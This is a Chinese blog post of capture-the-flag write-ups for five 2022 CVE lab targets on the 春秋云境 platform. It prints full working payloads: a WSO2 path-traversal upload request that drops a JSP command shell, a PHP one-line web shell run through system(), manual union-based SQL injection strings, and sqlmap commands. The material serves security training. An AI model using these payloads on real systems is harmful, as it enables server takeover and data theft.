春秋云镜已做题目のWP

网站链接: 春秋云境.com

春秋云境:CVE-2022-29464

image.png
靶标介绍:

WSO2文件上传漏洞(CVE-2022-29464)是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。

  • 首先我们打开题目链接,就是一个登录界面

image.png
这个漏洞已经被国家CNVD收录了国家信息安全漏洞库
image.png
image.png
我们直接用BurpSuite抓包,然后发送到重放器,根据官方POC更改
image.png
以下这两个参数需要修改,使用本机的

Host: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Accept: */*

payload:

POST /fileupload/toolsAny HTTP/2
Host: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 896
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0
 
 
--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/testshell.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/testshell.jsp"
 
<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <%=output %>
--4ef9f369a86bfaadf5ec3177278d49c0--

image.png
image.png
然后再访问上传的文件的地址

 https://xxxxx/authenticationendpoint/testshell.jsp

获得shell之后,在根目录获得flag
image.png
大佬分析:WSO2 API Manager 文件上传漏洞(CVE-2022-29464) 分析

春秋云境:CVE-2022-32991

image.png
靶标介绍:

该CMS的welcome.php中存在SQL注入攻击。

打开之后让我们登录或者注册
image.png
那我们直接随便注册一个
image.pngimage.png
发现q=1类似注入点
image.png
image.png
image.png
到q=4的时候就没有回显了
image.png
发现这个start按钮可以点击跳转
image.png
image.png
image.png
发现每当点击一次Submit(提交)按钮,n的值就会加 1
测试之后发现,n这里存在SQL注入漏洞,当n=2'时,会出现报错
image.png

手工注入

n=2' union select 1,2,3,4,5--+

http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2' union select 1,2,3,4,5--+&t=34

image.png
查数据库名称:
**n=2' union select 1,2,database(),4,5--+**

http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2' union select 1,2,database(),4,5--+&t=34

image.png
查询ctf数据库的表
**2' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='ctf'--+**

http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='ctf'--+&t=34

我报502错误了,参考其他师傅的博客:http://t.csdnimg.cn/L7JHm

后来发现原来是我在2'的后面多了一个空格的原因
[http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2'union](http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2'union) select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='ctf'--+&t=34
image.png
image.png
查看flag表中的字段:
**2' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema='ctf' and table_name='flag'--+**

http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2'union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema='ctf' and table_name='flag'--+&t=34

image.png
查询字段flag里的内容即可获得flag
**2'union select 1,2,group_concat(flag),4,5 from flag--+**
或者
**2'union select 1,2,concat(flag),4,5 from flag--+**
image.png
image.png

Sqlmap工具注入

参考其他师傅的博客:http://t.csdnimg.cn/TCvMp
先进行BP抓包,查看数据
image.png

记录Sqlmap攻击所需的HTTP头部请求参数

--cookie="PHPSESSID=5v5jgbt7gi7jprvl9hl3o7k14m"

--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0"

其中,
--user-agent
可采用
--random-agent
代替
技术说明:由于该页面采用了登录访问,所以首先想到要使用–cookie参数使得sqlmap绕过身份验证,并添加–user-agent参数或–random-agent使得sqlmap绕过客户端验证,否则可能会被识别到明显的sqlmap客户端标识,从而导致攻击的中断。

结合目标URL和Burpsuite所得参数,构造攻击语句

python .\sqlmap.py -u "http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0" --cookie="PHPSESSID=5v5jgbt7gi7jprvl9hl3o7k14m" --batch --dbs

由于我的Sqlmap运行得太慢了,所以我直接粘贴其他师傅的了,学习学习就是自己的>_<
执行界面如下:
image.png
得到的ctf库的所有表如下:
image.png
爆列名
攻击语句如下:

python .\sqlmap.py -u "http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0" --cookie="PHPSESSID=5v5jgbt7gi7jprvl9hl3o7k14m" --batch -D "ctf" -T "flag" -C"flag" -D "ctf" -T "flag" --columns

得到的ctf库的flag表的所有列名如下:
image.png
爆字段
攻击语句如下:

python .\sqlmap.py -u "http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0" --cookie="PHPSESSID=5v5jgbt7gi7jprvl9hl3o7k14m" --batch -D "ctf" -T "flag" -C"flag" -D "ctf" -T "flag" -C "flag" --dump

执行界面如下:
image.png
得到题目的答案如下:
image.png

--cookie                        #绕过身份验证
--random-agent或--user-agent    #绕过客户端验证
--batch                         #默认后续sqlmap操作都为Y
--p                             #指定sqlmap注入的传参参数

春秋云境CVE-2022-30887

靶标介绍:

多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞,进而导致任意代码执行。

image.png
打开之后发现要登录,然后底部可以点击
image.png
滑到最底下,随便点击,等待一会儿便会弹出一个邮箱mayuri.infospace@gmail.com,那么它很可能就是刚刚的账号,密码就是上面点击的mayurik
image.png
image.png
image.png
发现一个药品的地方可以进行文件上传
image.png
直接上传一句话木马
image.png

<?php
if($_REQUEST['s']) {
  system($_REQUEST['s']);
  } else phpinfo();
?>

image.png
发现它已经上传上去了,我们访问一下看看
image.png
image.png
发现它的服务器已经执行了我们的木马和phpinfo();命令
image.png
那我们就可以直接进行RCE了

http://eci-2ze08w8zjendjj6j2ji3.cloudeci1.ichunqiu.com/assets/myimages/1.php?s=ls /

http://eci-2ze08w8zjendjj6j2ji3.cloudeci1.ichunqiu.com/assets/myimages/1.php?s=cat /f* 
# cat /f* 中的*号是通配符,表示匹配全部f开头的文件

image.png
image.png

春秋云镜:CVE-2022-28525

靶标介绍: ED01-CMS v20180505 存在任意文件上传漏洞

image.png
既然题目说有文件上传漏洞,那我们就寻找进来之后点来点去,没发现上传点,发现左边可以登录。试一下弱口令,账号admin密码admin,成功登录
image.png
进去之后的左边Users那里可以上传,直接上传一句话木马文件
image.png
一句话木马为:

<?php
if($_REQUEST['s']) {
  system($_REQUEST['s']);
  } else phpinfo();
?>

上传成功,访问我们上传的文件的位置,成功RCE,接下来可以cat /flag
image.png
image.png
image.png

http://eci-2ze2symkitwedo28le5i.cloudeci1.ichunqiu.com/images/1.php?s=cat /f*

春秋云镜:CVE-2022-28512

image.png
SQL注入,本次注入依旧是手工注入。该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。
直接访问/single.php,可以发现是有错误回显的,那么很明显?id=为传参值,通过传参值进行注入。
image.png
接下来进行SQL常规注入即可
参考博客:https://fushuling.com/index.php/2023/04/07/sql注入一命通关/

1.常规注入

联合注入

联合注入即union注入,其作用就是,在原来查询条件的基础上,通过系统关键字union从而拼接上我们自己的select语句,然后把后面select得到的结果将拼接到前面select的结果后边。如:前个select得到2条数据,后个select也得到2条数据,那么后个select的数据将拼接到第一个select返回的内容中。
联合注入有它的利用条件,UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型,每条 SELECT 语句中的列的顺序必须相同,也就是说只能:

select 1,2,3 from table_name1 union select 4,5,6 from table_name2;

这也是为什么我们在联合注入之前往往需要先利用 order/group by n 判断字段的数量。

联合查询注入步骤

假如对于url/?id=1,且后端代码用单引号包裹参数,我们的注入步骤为(其实即sqllib第一关,buuoj有在线环境)

MySQL >= 5.0

1) 确定字段的数量
通过从1开始改变n的大小,如果网页出现报错则证明n大于真实,因为order by n是对第n个字段进行排序的意思,如果n的值大于真实的字段数量自然就会报错了。至于最后的–+是注释符的意思,为了注释掉原有的sql语句执行我们自己的,也可以用%23即#代替:

?id=1' order by n --+

或者我们可以使用

?id=1' group by n --+

group是对数据进行分组,也可以起到相同的效果。
2) 判断回显位
有时候页面里只有一个回显位,所以我们需要用-1保证前面的查询查不出数据以确保后面的联合查询能正常查询,假如我们确定了一共有三个字段,我们可以使用:

?id=-1' union select 1,2,3 --+

通过数字是几判断回显位
这里题目我们?id=1' order by 10 --+
通过下述可知是存在回显
image.png
判断回显位
有时候页面里只有一个回显位,所以我们需要用-1保证前面的查询查不出数据以确保后面的联合查询能正常查询,我们确定了一共有9个字段,我们可以使用:

?id=-1' union select 1,2,3,4,5,6,7,8,9 --+

image.png
获取系统数据库名
group_concat()的作用是把回显放到一行里,便于观察

?id=-1' union select 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata --+

image.png
看到了名为 ctf 的数据库
获取当前数据库名

?id=-1' union select 1,database(),3,4,5,6,7,8,9 --+

image.png
当前为 ctf 数据库
获取数据库中的表
获取当前数据的所有表名

?id=-1' union select 1,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=database() --+

或者

?id=-1' union select 1,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema='ctf' --+

即获取ctf数据库下的所有表名
image.png
发现了flag表

获取表里的列名(即字段名)
获得flag表下的所有字段名

?id=-1' union select 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name='flag'--+

image.png
发现了flag列

获取数据
如果我们想获得flag表下flag的值:

?id=-1' union select 1,group_concat(flag),3,4,5,6,7,8,9 from flag--+

image.png

posted @ 2023-10-08 00:38  Fab1an  阅读(127)  评论(0编辑  收藏  举报